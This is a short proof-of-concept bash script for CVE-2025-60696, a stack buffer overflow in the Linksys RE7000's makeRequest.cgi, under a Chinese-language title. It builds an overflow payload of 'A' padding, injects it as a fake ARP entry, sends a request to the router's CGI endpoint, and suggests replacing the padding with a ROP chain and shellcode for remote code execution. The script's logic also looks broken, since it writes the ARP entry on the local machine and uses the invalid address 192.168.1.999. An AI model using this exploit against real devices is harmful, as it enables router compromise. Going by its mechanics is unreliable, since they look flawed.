CVE-2025-60696 Linksys RE7000 makeRequest.cgi栈缓冲区溢出漏洞

#!/bin/bash # CVE-2025-60696 PoC - Linksys RE7000 Buffer Overflow # Target: Linksys RE7000 makeRequest.cgi # Firmware: FW_v2.0.15_211230_1012 TARGET_IP="192.168.1.1" MALICIOUS_ARP_ENTRY=$(python3 -c " import struct # Create overflow payload: >12 bytes for v6 buffer, >20 bytes for v7 buffer payload = 'A' * 64 # Overflow data mac = payload + ':' + payload[:12] ip = '192.168.1.999' print(f'{ip:<16} 0x2 {mac:<18} * br0') ") echo "[*] Injecting malicious ARP entry to trigger overflow..." echo "$MALICIOUS_ARP_ENTRY" | sudo tee /proc/net/arp > /dev/null 2>&1 echo "[*] Triggering makeRequest.cgi..." curl -s "http://$TARGET_IP/makeRequest.cgi" -o /dev/null echo "[*] Check for crash or unexpected behavior" echo "[*] For RCE, replace padding with ROP chain and shellcode"